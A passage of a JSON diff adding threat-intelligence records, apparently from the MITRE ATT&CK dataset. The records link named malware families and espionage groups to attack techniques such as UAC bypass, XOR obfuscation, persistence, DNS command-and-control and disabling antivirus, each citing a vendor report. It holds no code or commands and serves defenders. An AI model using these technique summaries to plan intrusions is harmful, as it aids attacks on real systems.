"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Windows DDE for execution of commands and a malicious VBS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--b274a57d-9d27-4e33-b6dc-15e007805838", + "source_ref": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "modified": "2019-07-24T18:25:06.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Sakula](https://attack.mitre.org/software/S0074) contains UAC bypass code for both 32- and 64-bit systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8bfa94cf-4eeb-442c-8f18-25b07cd3cbf5", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.553Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses a simple one-byte XOR method to obfuscate values in the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8e809969-d903-4e58-b8a9-7344127da3cd", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) adds Registry Run keys to achieve persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "After collecting files and logs from the victim, [Prikormka](https://attack.mitre.org/software/S0113) encrypts some collected data with Blowfish.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--56fac514-4461-4d8c-93a0-d12cade25169", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.776Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers the victim\u2019s IP address via the ipconfig -all command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8dd3bed4-1e3c-4a08-9181-669b5ca03075", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant decrypts strings using single-byte XOR keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f84b2658-a891-45a8-93ff-14dc0a86df10", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--08bee5d2-5a60-416e-87cb-5cfe35cf67ff", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cc5a6d27-5c74-4f53-afc1-390c71bfae7c", + "source_ref": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "modified": "2019-07-25T11:38:03.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb1ff794-8060-42c8-8969-b6660b07068f", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) encoded C2 traffic with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6f9916d0-70c3-4504-93cf-cd0e8dd7ead1", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ebc8ea86-6847-494a-b304-b6750a2f54e5", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--aae339ae-44bb-48d3-b62e-7f35376bb974", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--07921720-429b-432c-8147-187162326ff2", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5d2ca571-9e66-4949-b3a1-978c47398b18", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can list all running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--eb6ecbe4-07fc-4c45-9da8-fab737e300c3", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) has downloaded and executed additional plugins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fdea1dc1-4b00-411e-a5d3-cd72688237b5", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compressed data into .zip files prior to exfiltrating it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6b6343a9-0679-4fa7-943f-c9a2b9df55e2", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use the Hunter tool to conduct network service discovery for vulnerable systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware attempts to determine the installed version of .NET by querying the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Sys10](https://attack.mitre.org/software/S0060) uses an XOR 0x1 loop to encrypt its C2 domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.833Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses custom base64 encoding to obfuscate HTTP traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Bandook](https://attack.mitre.org/software/S0234) is capable of spawning a Windows command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3379cbbb-cb69-4dbd-856c-70f88eb256bc", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "source_name": "EFF Manul Aug 2016", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "The 